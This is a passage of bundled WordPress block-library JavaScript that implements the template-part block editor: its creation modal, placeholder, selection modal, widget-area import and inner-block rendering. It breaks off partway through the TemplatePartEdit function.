53299 return async (blocks = [], title = (0,external_wp_i18n_namespaceObject.__)("Untitled Template Part")) => {
53300 const cleanSlug = paramCase(title).replace(/[^\w-]+/g, "") || "wp-custom-part";
53301 const record = {
53302 title,
53303 slug: cleanSlug,
53304 content: (0,external_wp_blocks_namespaceObject.serialize)(blocks),
53305 // `area` is filterable on the server and defaults to `UNCATEGORIZED`
53306 // if provided value is not allowed.
53307 area
53308 };
53309 const templatePart = await saveEntityRecord(
53310 "postType",
53311 "wp_template_part",
53312 record
53313 );
53314 setAttributes({
53315 slug: templatePart.slug,
53316 theme: templatePart.theme,
53317 area: void 0
53318 });
53319 };
53320}
53321function useTemplatePartArea(area) {
53322 return (0,external_wp_data_namespaceObject.useSelect)(
53323 (select) => {
53324 const definedAreas = select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [];
53325 const selectedArea = definedAreas.find(
53326 (definedArea) => definedArea.area === area
53327 );
53328 const defaultArea = definedAreas.find(
53329 (definedArea) => definedArea.area === "uncategorized"
53330 );
53331 return {
53332 icon: selectedArea?.icon || defaultArea?.icon,
53333 label: selectedArea?.label || (0,external_wp_i18n_namespaceObject.__)("Template Part"),
53334 tagName: selectedArea?.area_tag ?? "div"
53335 };
53336 },
53337 [area]
53338 );
53339}
53340
53341
53342;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/title-modal.js
53343
53344
53345
53346
53347function TitleModal({ areaLabel, onClose, onSubmit }) {
53348 const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)("");
53349 const submitForCreation = (event) => {
53350 event.preventDefault();
53351 onSubmit(title);
53352 };
53353 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53354 external_wp_components_namespaceObject.Modal,
53355 {
53356 title: (0,external_wp_i18n_namespaceObject.sprintf)(
53357 // Translators: %s as template part area title ("Header", "Footer", etc.).
53358 (0,external_wp_i18n_namespaceObject.__)("Create new %s"),
53359 areaLabel.toLowerCase()
53360 ),
53361 onRequestClose: onClose,
53362 focusOnMount: "firstContentElement",
53363 size: "small",
53364 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { onSubmit: submitForCreation, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "5", children: [
53365 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53366 external_wp_components_namespaceObject.TextControl,
53367 {
53368 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
53369 value: title,
53370 onChange: setTitle,
53371 placeholder: (0,external_wp_i18n_namespaceObject.__)("Custom Template Part"),
53372 __nextHasNoMarginBottom: true,
53373 __next40pxDefaultSize: true
53374 }
53375 ),
53376 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
53377 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53378 external_wp_components_namespaceObject.Button,
53379 {
53380 __next40pxDefaultSize: true,
53381 variant: "tertiary",
53382 onClick: () => {
53383 onClose();
53384 setTitle("");
53385 },
53386 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
53387 }
53388 ),
53389 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53390 external_wp_components_namespaceObject.Button,
53391 {
53392 variant: "primary",
53393 type: "submit",
53394 accessibleWhenDisabled: true,
53395 disabled: !title.length,
53396 __next40pxDefaultSize: true,
53397 children: (0,external_wp_i18n_namespaceObject.__)("Create")
53398 }
53399 )
53400 ] })
53401 ] }) })
53402 }
53403 );
53404}
53405
53406
53407;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/placeholder.js
53408
53409
53410
53411
53412
53413
53414
53415
53416
53417function TemplatePartPlaceholder({
53418 area,
53419 clientId,
53420 templatePartId,
53421 onOpenSelectionModal,
53422 setAttributes
53423}) {
53424 const { templateParts, isResolving } = useAlternativeTemplateParts(
53425 area,
53426 templatePartId
53427 );
53428 const blockPatterns = useAlternativeBlockPatterns(area, clientId);
53429 const { isBlockBasedTheme, canCreateTemplatePart } = (0,external_wp_data_namespaceObject.useSelect)(
53430 (select) => {
53431 const { getCurrentTheme, canUser } = select(external_wp_coreData_namespaceObject.store);
53432 return {
53433 isBlockBasedTheme: getCurrentTheme()?.is_block_theme,
53434 canCreateTemplatePart: canUser("create", {
53435 kind: "postType",
53436 name: "wp_template_part"
53437 })
53438 };
53439 },
53440 []
53441 );
53442 const [showTitleModal, setShowTitleModal] = (0,external_wp_element_namespaceObject.useState)(false);
53443 const areaObject = useTemplatePartArea(area);
53444 const createFromBlocks = useCreateTemplatePartFromBlocks(
53445 area,
53446 setAttributes
53447 );
53448 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
53449 external_wp_components_namespaceObject.Placeholder,
53450 {
53451 icon: getTemplatePartIcon(areaObject.icon),
53452 label: areaObject.label,
53453 instructions: isBlockBasedTheme ? (0,external_wp_i18n_namespaceObject.sprintf)(
53454 // Translators: %s as template part area title ("Header", "Footer", etc.).
53455 (0,external_wp_i18n_namespaceObject.__)("Choose an existing %s or create a new one."),
53456 areaObject.label.toLowerCase()
53457 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
53458 // Translators: %s as template part area title ("Header", "Footer", etc.).
53459 (0,external_wp_i18n_namespaceObject.__)("Choose an existing %s."),
53460 areaObject.label.toLowerCase()
53461 ),
53462 children: [
53463 isResolving && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}),
53464 !isResolving && !!(templateParts.length || blockPatterns.length) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53465 external_wp_components_namespaceObject.Button,
53466 {
53467 __next40pxDefaultSize: true,
53468 variant: "primary",
53469 onClick: onOpenSelectionModal,
53470 children: (0,external_wp_i18n_namespaceObject.__)("Choose")
53471 }
53472 ),
53473 !isResolving && isBlockBasedTheme && canCreateTemplatePart && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53474 external_wp_components_namespaceObject.Button,
53475 {
53476 __next40pxDefaultSize: true,
53477 variant: "secondary",
53478 onClick: () => {
53479 setShowTitleModal(true);
53480 },
53481 children: (0,external_wp_i18n_namespaceObject.__)("Start blank")
53482 }
53483 ),
53484 showTitleModal && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53485 TitleModal,
53486 {
53487 areaLabel: areaObject.label,
53488 onClose: () => setShowTitleModal(false),
53489 onSubmit: (title) => {
53490 createFromBlocks([], title);
53491 }
53492 }
53493 )
53494 ]
53495 }
53496 );
53497}
53498
53499
53500;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/utils/map-template-part-to-block-pattern.js
53501
53502
53503function mapTemplatePartToBlockPattern(templatePart) {
53504 return {
53505 name: createTemplatePartId(templatePart.theme, templatePart.slug),
53506 title: templatePart.title.rendered,
53507 blocks: (0,external_wp_blocks_namespaceObject.parse)(templatePart.content.raw),
53508 templatePart
53509 };
53510}
53511
53512
53513;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/selection-modal.js
53514
53515
53516
53517
53518
53519
53520
53521
53522
53523
53524function TemplatePartSelectionModal({
53525 setAttributes,
53526 onClose,
53527 templatePartId = null,
53528 area,
53529 clientId
53530}) {
53531 const [searchValue, setSearchValue] = (0,external_wp_element_namespaceObject.useState)("");
53532 const { templateParts } = useAlternativeTemplateParts(
53533 area,
53534 templatePartId
53535 );
53536 const filteredTemplateParts = (0,external_wp_element_namespaceObject.useMemo)(() => {
53537 const partsAsPatterns = templateParts.map(
53538 (templatePart) => mapTemplatePartToBlockPattern(templatePart)
53539 );
53540 return searchPatterns(partsAsPatterns, searchValue);
53541 }, [templateParts, searchValue]);
53542 const blockPatterns = useAlternativeBlockPatterns(area, clientId);
53543 const filteredBlockPatterns = (0,external_wp_element_namespaceObject.useMemo)(() => {
53544 return searchPatterns(blockPatterns, searchValue);
53545 }, [blockPatterns, searchValue]);
53546 const { createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
53547 const onTemplatePartSelect = (templatePart) => {
53548 setAttributes({
53549 slug: templatePart.slug,
53550 theme: templatePart.theme,
53551 area: void 0
53552 });
53553 createSuccessNotice(
53554 (0,external_wp_i18n_namespaceObject.sprintf)(
53555 /* translators: %s: template part title. */
53556 (0,external_wp_i18n_namespaceObject.__)('Template Part "%s" inserted.'),
53557 templatePart.title?.rendered || templatePart.slug
53558 ),
53559 {
53560 type: "snackbar"
53561 }
53562 );
53563 onClose();
53564 };
53565 const hasTemplateParts = !!filteredTemplateParts.length;
53566 const hasBlockPatterns = !!filteredBlockPatterns.length;
53567 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-library-template-part__selection-content", children: [
53568 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-library-template-part__selection-search", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53569 external_wp_components_namespaceObject.SearchControl,
53570 {
53571 __nextHasNoMarginBottom: true,
53572 onChange: setSearchValue,
53573 value: searchValue,
53574 label: (0,external_wp_i18n_namespaceObject.__)("Search"),
53575 placeholder: (0,external_wp_i18n_namespaceObject.__)("Search")
53576 }
53577 ) }),
53578 hasTemplateParts && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [
53579 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { children: (0,external_wp_i18n_namespaceObject.__)("Existing template parts") }),
53580 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53581 external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList,
53582 {
53583 blockPatterns: filteredTemplateParts,
53584 onClickPattern: (pattern) => {
53585 onTemplatePartSelect(pattern.templatePart);
53586 }
53587 }
53588 )
53589 ] }),
53590 !hasTemplateParts && !hasBlockPatterns && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "center", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("No results found.") }) })
53591 ] });
53592}
53593
53594
53595;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/utils/transformers.js
53596
53597function transformWidgetToBlock(widget) {
53598 if (widget.id_base !== "block") {
53599 let attributes;
53600 if (widget._embedded.about[0].is_multi) {
53601 attributes = {
53602 idBase: widget.id_base,
53603 instance: widget.instance
53604 };
53605 } else {
53606 attributes = {
53607 id: widget.id
53608 };
53609 }
53610 return switchLegacyWidgetType(
53611 (0,external_wp_blocks_namespaceObject.createBlock)("core/legacy-widget", attributes)
53612 );
53613 }
53614 const parsedBlocks = (0,external_wp_blocks_namespaceObject.parse)(widget.instance.raw.content, {
53615 __unstableSkipAutop: true
53616 });
53617 if (!parsedBlocks.length) {
53618 return void 0;
53619 }
53620 const block = parsedBlocks[0];
53621 if (block.name === "core/widget-group") {
53622 return (0,external_wp_blocks_namespaceObject.createBlock)(
53623 (0,external_wp_blocks_namespaceObject.getGroupingBlockName)(),
53624 void 0,
53625 transformInnerBlocks(block.innerBlocks)
53626 );
53627 }
53628 if (block.innerBlocks.length > 0) {
53629 return (0,external_wp_blocks_namespaceObject.cloneBlock)(
53630 block,
53631 void 0,
53632 transformInnerBlocks(block.innerBlocks)
53633 );
53634 }
53635 return block;
53636}
53637function switchLegacyWidgetType(block) {
53638 const transforms = (0,external_wp_blocks_namespaceObject.getPossibleBlockTransformations)([block]).filter(
53639 (item) => {
53640 if (!item.transforms) {
53641 return true;
53642 }
53643 const hasWildCardFrom = item.transforms?.from?.find(
53644 (from) => from.blocks && from.blocks.includes("*")
53645 );
53646 const hasWildCardTo = item.transforms?.to?.find(
53647 (to) => to.blocks && to.blocks.includes("*")
53648 );
53649 return !hasWildCardFrom && !hasWildCardTo;
53650 }
53651 );
53652 if (!transforms.length) {
53653 return void 0;
53654 }
53655 return (0,external_wp_blocks_namespaceObject.switchToBlockType)(block, transforms[0].name);
53656}
53657function transformInnerBlocks(innerBlocks = []) {
53658 return innerBlocks.flatMap((block) => {
53659 if (block.name === "core/legacy-widget") {
53660 return switchLegacyWidgetType(block);
53661 }
53662 return (0,external_wp_blocks_namespaceObject.createBlock)(
53663 block.name,
53664 block.attributes,
53665 transformInnerBlocks(block.innerBlocks)
53666 );
53667 }).filter((block) => !!block);
53668}
53669
53670
53671;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/import-controls.js
53672
53673
53674
53675
53676
53677
53678
53679
53680
53681const SIDEBARS_QUERY = {
53682 per_page: -1,
53683 _fields: "id,name,description,status,widgets"
53684};
53685function TemplatePartImportControls({ area, setAttributes }) {
53686 const [selectedSidebar, setSelectedSidebar] = (0,external_wp_element_namespaceObject.useState)("");
53687 const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
53688 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
53689 const { sidebars, hasResolved } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
53690 const { getSidebars, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
53691 return {
53692 sidebars: getSidebars(SIDEBARS_QUERY),
53693 hasResolved: hasFinishedResolution("getSidebars", [
53694 SIDEBARS_QUERY
53695 ])
53696 };
53697 }, []);
53698 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
53699 const createFromBlocks = useCreateTemplatePartFromBlocks(
53700 area,
53701 setAttributes
53702 );
53703 const options = (0,external_wp_element_namespaceObject.useMemo)(() => {
53704 const sidebarOptions = (sidebars ?? []).filter(
53705 (widgetArea) => widgetArea.id !== "wp_inactive_widgets" && widgetArea.widgets.length > 0
53706 ).map((widgetArea) => {
53707 return {
53708 value: widgetArea.id,
53709 label: widgetArea.name
53710 };
53711 });
53712 if (!sidebarOptions.length) {
53713 return [];
53714 }
53715 return [
53716 { value: "", label: (0,external_wp_i18n_namespaceObject.__)("Select widget area") },
53717 ...sidebarOptions
53718 ];
53719 }, [sidebars]);
53720 if (!hasResolved) {
53721 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginBottom: "0" });
53722 }
53723 if (hasResolved && !options.length) {
53724 return null;
53725 }
53726 async function createFromWidgets(event) {
53727 event.preventDefault();
53728 if (isBusy || !selectedSidebar) {
53729 return;
53730 }
53731 setIsBusy(true);
53732 const sidebar = options.find(
53733 ({ value }) => value === selectedSidebar
53734 );
53735 const { getWidgets } = registry.resolveSelect(external_wp_coreData_namespaceObject.store);
53736 const widgets = await getWidgets({
53737 sidebar: sidebar.value,
53738 _embed: "about"
53739 });
53740 const skippedWidgets = /* @__PURE__ */ new Set();
53741 const blocks = widgets.flatMap((widget) => {
53742 const block = transformWidgetToBlock(widget);
53743 if (!block) {
53744 skippedWidgets.add(widget.id_base);
53745 return [];
53746 }
53747 return block;
53748 });
53749 await createFromBlocks(
53750 blocks,
53751 /* translators: %s: name of the widget area */
53752 (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Widget area: %s"), sidebar.label)
53753 );
53754 if (skippedWidgets.size) {
53755 createErrorNotice(
53756 (0,external_wp_i18n_namespaceObject.sprintf)(
53757 /* translators: %s: the list of widgets */
53758 (0,external_wp_i18n_namespaceObject.__)("Unable to import the following widgets: %s."),
53759 Array.from(skippedWidgets).join(", ")
53760 ),
53761 {
53762 type: "snackbar"
53763 }
53764 );
53765 }
53766 setIsBusy(false);
53767 }
53768 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginBottom: "4", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { as: "form", onSubmit: createFromWidgets, children: [
53769 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53770 external_wp_components_namespaceObject.SelectControl,
53771 {
53772 label: (0,external_wp_i18n_namespaceObject.__)("Import widget area"),
53773 value: selectedSidebar,
53774 options,
53775 onChange: (value) => setSelectedSidebar(value),
53776 disabled: !options.length,
53777 __next40pxDefaultSize: true,
53778 __nextHasNoMarginBottom: true
53779 }
53780 ) }),
53781 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53782 external_wp_components_namespaceObject.FlexItem,
53783 {
53784 style: {
53785 marginBottom: "8px",
53786 marginTop: "auto"
53787 },
53788 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53789 external_wp_components_namespaceObject.Button,
53790 {
53791 __next40pxDefaultSize: true,
53792 variant: "primary",
53793 type: "submit",
53794 isBusy,
53795 "aria-disabled": isBusy || !selectedSidebar,
53796 children: (0,external_wp_i18n_namespaceObject._x)("Import", "button label")
53797 }
53798 )
53799 }
53800 )
53801 ] }) });
53802}
53803
53804
53805;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/advanced-controls.js
53806
53807
53808
53809
53810
53811
53812
53813
53814const { HTMLElementControl: advanced_controls_HTMLElementControl } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
53815function TemplatePartAdvancedControls({
53816 tagName,
53817 setAttributes,
53818 isEntityAvailable,
53819 templatePartId,
53820 defaultWrapper,
53821 hasInnerBlocks,
53822 clientId
53823}) {
53824 const [area, setArea] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
53825 "postType",
53826 "wp_template_part",
53827 "area",
53828 templatePartId
53829 );
53830 const [title, setTitle] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
53831 "postType",
53832 "wp_template_part",
53833 "title",
53834 templatePartId
53835 );
53836 const defaultTemplatePartAreas = (0,external_wp_data_namespaceObject.useSelect)(
53837 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [],
53838 []
53839 );
53840 const areaOptions = defaultTemplatePartAreas.map(
53841 ({ label, area: _area }) => ({
53842 label,
53843 value: _area
53844 })
53845 );
53846 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
53847 isEntityAvailable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
53848 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53849 external_wp_components_namespaceObject.TextControl,
53850 {
53851 __next40pxDefaultSize: true,
53852 __nextHasNoMarginBottom: true,
53853 label: (0,external_wp_i18n_namespaceObject.__)("Title"),
53854 value: title,
53855 onChange: (value) => {
53856 setTitle(value);
53857 },
53858 onFocus: (event) => event.target.select()
53859 }
53860 ),
53861 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53862 external_wp_components_namespaceObject.SelectControl,
53863 {
53864 __next40pxDefaultSize: true,
53865 __nextHasNoMarginBottom: true,
53866 label: (0,external_wp_i18n_namespaceObject.__)("Area"),
53867 labelPosition: "top",
53868 options: areaOptions,
53869 value: area,
53870 onChange: setArea
53871 }
53872 )
53873 ] }),
53874 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53875 advanced_controls_HTMLElementControl,
53876 {
53877 tagName: tagName || "",
53878 onChange: (value) => setAttributes({ tagName: value }),
53879 clientId,
53880 options: [
53881 {
53882 label: (0,external_wp_i18n_namespaceObject.sprintf)(
53883 /* translators: %s: HTML tag based on area. */
53884 (0,external_wp_i18n_namespaceObject.__)("Default based on area (%s)"),
53885 `<${defaultWrapper}>`
53886 ),
53887 value: ""
53888 },
53889 { label: "<header>", value: "header" },
53890 { label: "<main>", value: "main" },
53891 { label: "<section>", value: "section" },
53892 { label: "<article>", value: "article" },
53893 { label: "<aside>", value: "aside" },
53894 { label: "<footer>", value: "footer" },
53895 { label: "<div>", value: "div" }
53896 ]
53897 }
53898 ),
53899 !hasInnerBlocks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
53900 TemplatePartImportControls,
53901 {
53902 area,
53903 setAttributes
53904 }
53905 )
53906 ] });
53907}
53908
53909
53910;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/inner-blocks.js
53911
53912
53913
53914
53915
53916
53917function useRenderAppender(hasInnerBlocks) {
53918 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
53919 if (blockEditingMode === "contentOnly") {
53920 return false;
53921 }
53922 if (!hasInnerBlocks) {
53923 return external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender;
53924 }
53925}
53926function useLayout(layout) {
53927 const themeSupportsLayout = (0,external_wp_data_namespaceObject.useSelect)((select) => {
53928 const { getSettings } = select(external_wp_blockEditor_namespaceObject.store);
53929 return getSettings()?.supportsLayout;
53930 }, []);
53931 const [defaultLayout] = (0,external_wp_blockEditor_namespaceObject.useSettings)("layout");
53932 if (themeSupportsLayout) {
53933 return layout?.inherit ? defaultLayout || {} : layout;
53934 }
53935}
53936function NonEditableTemplatePartPreview({
53937 postId: id,
53938 layout,
53939 tagName: TagName,
53940 blockProps
53941}) {
53942 (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)("disabled");
53943 const { content, editedBlocks } = (0,external_wp_data_namespaceObject.useSelect)(
53944 (select) => {
53945 if (!id) {
53946 return {};
53947 }
53948 const { getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
53949 const editedRecord = getEditedEntityRecord(
53950 "postType",
53951 "wp_template_part",
53952 id,
53953 { context: "view" }
53954 );
53955 return {
53956 editedBlocks: editedRecord.blocks,
53957 content: editedRecord.content
53958 };
53959 },
53960 [id]
53961 );
53962 const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
53963 if (!id) {
53964 return void 0;
53965 }
53966 if (editedBlocks) {
53967 return editedBlocks;
53968 }
53969 if (!content || typeof content !== "string") {
53970 return [];
53971 }
53972 return (0,external_wp_blocks_namespaceObject.parse)(content);
53973 }, [id, editedBlocks, content]);
53974 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
53975 value: blocks,
53976 onInput: () => {
53977 },
53978 onChange: () => {
53979 },
53980 renderAppender: false,
53981 layout: useLayout(layout)
53982 });
53983 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...innerBlocksProps });
53984}
53985function EditableTemplatePartInnerBlocks({
53986 postId: id,
53987 hasInnerBlocks,
53988 layout,
53989 tagName: TagName,
53990 blockProps
53991}) {
53992 const onNavigateToEntityRecord = (0,external_wp_data_namespaceObject.useSelect)(
53993 (select) => select(external_wp_blockEditor_namespaceObject.store).getSettings().onNavigateToEntityRecord,
53994 []
53995 );
53996 const [blocks, onInput, onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)(
53997 "postType",
53998 "wp_template_part",
53999 { id }
54000 );
54001 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(blockProps, {
54002 value: blocks,
54003 onInput,
54004 onChange,
54005 renderAppender: useRenderAppender(hasInnerBlocks),
54006 layout: useLayout(layout)
54007 });
54008 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
54009 const customProps = blockEditingMode === "contentOnly" && onNavigateToEntityRecord ? {
54010 onDoubleClick: () => onNavigateToEntityRecord({
54011 postId: id,
54012 postType: "wp_template_part"
54013 })
54014 } : {};
54015 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...innerBlocksProps, ...customProps });
54016}
54017function TemplatePartInnerBlocks({
54018 postId: id,
54019 hasInnerBlocks,
54020 layout,
54021 tagName: TagName,
54022 blockProps
54023}) {
54024 const { canViewTemplatePart, canEditTemplatePart } = (0,external_wp_data_namespaceObject.useSelect)(
54025 (select) => {
54026 return {
54027 canViewTemplatePart: !!select(external_wp_coreData_namespaceObject.store).canUser("read", {
54028 kind: "postType",
54029 name: "wp_template_part",
54030 id
54031 }),
54032 canEditTemplatePart: !!select(external_wp_coreData_namespaceObject.store).canUser("update", {
54033 kind: "postType",
54034 name: "wp_template_part",
54035 id
54036 })
54037 };
54038 },
54039 [id]
54040 );
54041 if (!canViewTemplatePart) {
54042 return null;
54043 }
54044 const TemplatePartInnerBlocksComponent = canEditTemplatePart ? EditableTemplatePartInnerBlocks : NonEditableTemplatePartPreview;
54045 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54046 TemplatePartInnerBlocksComponent,
54047 {
54048 postId: id,
54049 hasInnerBlocks,
54050 layout,
54051 tagName: TagName,
54052 blockProps
54053 }
54054 );
54055}
54056
54057
54058;// ./node_modules/@wordpress/block-library/build-module/template-part/edit/index.js
54059
54060
54061
54062
54063
54064
54065
54066
54067
54068
54069
54070
54071
54072
54073
54074function ReplaceButton({
54075 isEntityAvailable,
54076 area,
54077 templatePartId,
54078 isTemplatePartSelectionOpen,
54079 setIsTemplatePartSelectionOpen
54080}) {
54081 const { templateParts } = useAlternativeTemplateParts(
54082 area,
54083 templatePartId
54084 );
54085 const hasReplacements = !!templateParts.length;
54086 const canReplace = isEntityAvailable && hasReplacements && (area === "header" || area === "footer");
54087 if (!canReplace) {
54088 return null;
54089 }
54090 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54091 external_wp_components_namespaceObject.MenuItem,
54092 {
54093 onClick: () => {
54094 setIsTemplatePartSelectionOpen(true);
54095 },
54096 "aria-expanded": isTemplatePartSelectionOpen,
54097 "aria-haspopup": "dialog",
54098 children: (0,external_wp_i18n_namespaceObject.__)("Replace")
54099 }
54100 );
54101}
54102function TemplatesList({ area, clientId, isEntityAvailable, onSelect }) {
54103 const blockPatterns = useAlternativeBlockPatterns(area, clientId);
54104 const canReplace = isEntityAvailable && !!blockPatterns.length && (area === "header" || area === "footer");
54105 if (!canReplace) {
54106 return null;
54107 }
54108 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Design"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
54109 external_wp_blockEditor_namespaceObject.__experimentalBlockPatternsList,
54110 {
54111 label: (0,external_wp_i18n_namespaceObject.__)("Templates"),
54112 blockPatterns,
54113 onClickPattern: onSelect,
54114 showTitlesAsTooltip: true
54115 }
54116 ) });
54117}
54118function TemplatePartEdit({
54119 attributes,
54120 setAttributes,
54121 clientId
54122}) {
54123 const { createSuccessNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
54124 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
54125 const currentTheme = (0,external_wp_data_namespaceObject.useSelect)(
54126 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.stylesheet,
54127 []
54128 );
54129 const { slug, theme = currentTheme, tagName, layout = {} } = attributes;
54130 const templatePartId = createTemplatePartId(theme, slug);
54131 const hasAlreadyRendered = (0,external_wp_blockEditor_namespaceObject.useHasRecursion)(templatePartId);
54132 const [isTemplatePartSelectionOpen, setIsTemplatePartSelectionOpen] = (0,external_wp_element_namespaceObject.useState)(false);
54133 const {
54134 isResolved,
54135 hasInnerBlocks,
54136 isMissing,
54137 area,
54138 onNavigateToEntityRecord,
54139 title,
54140 canUserEdit
54141 } = (0,external_wp_data_namespaceObject.useSelect)(
54142 (select) => {
54143 const { getEditedEntityRecord, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
54144 const { getBlockCount, getSettings } = select(external_wp_blockEditor_namespaceObject.store);
54145 const getEntityArgs = [
54146 "postType",
54147 "wp_template_part",
54148 templatePartId
54149 ];
54150 const entityRecord = templatePartId ? getEditedEntityRecord(...getEntityArgs) : null;
54151 const _area = entityRecord?.area || attributes.area;
54152 const hasResolvedEntity = templatePartId ? hasFinishedResolution(
54153 "getEditedEntityRecord",
54154 getEntityArgs
54155 ) : false;
54156 const _canUserEdit = hasResolvedEntity ? select(external_wp_coreData_namespaceObject.store).canUser("update", {
54157 kind: "postType",
54158 name: "wp_template_part",
54159 id: templatePartId
54160 }) : false;
54161 return {
54162 hasInnerBlocks: getBlockCount(clientId) > 0,
54163 isResolved: hasResolvedEntity,
54164 isMissing: hasResolvedEntity && (!entityRecord || Object.keys(entityRecord).length === 0),
54165 area: _area,
54166 onNavigateToEntityRecord: getSettings().onNavigateToEntityRecord,
54167 title: entityRecord?.title,
54168 canUserEdit: !!_canUserEdit
54169 };
54170 },
54171 [templatePartId, attributes.area, clientId]
54172 );
54173 const areaObject = useTemplatePartArea(area);
54174 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
54175 const isPlaceholder = !slug;
54176 const isEntityAvailable = !isPlaceholder && !isMissing && isResolved;
54177 const TagName = tagName || areaObject.tagName;
54178 const onPatternSelect = async (pattern) => {
54179 await editEntityRecord(
54180 "postType",
54181 "wp_template_part",
54182 templatePartId,
54183 {
54184 blocks: pattern.blocks,
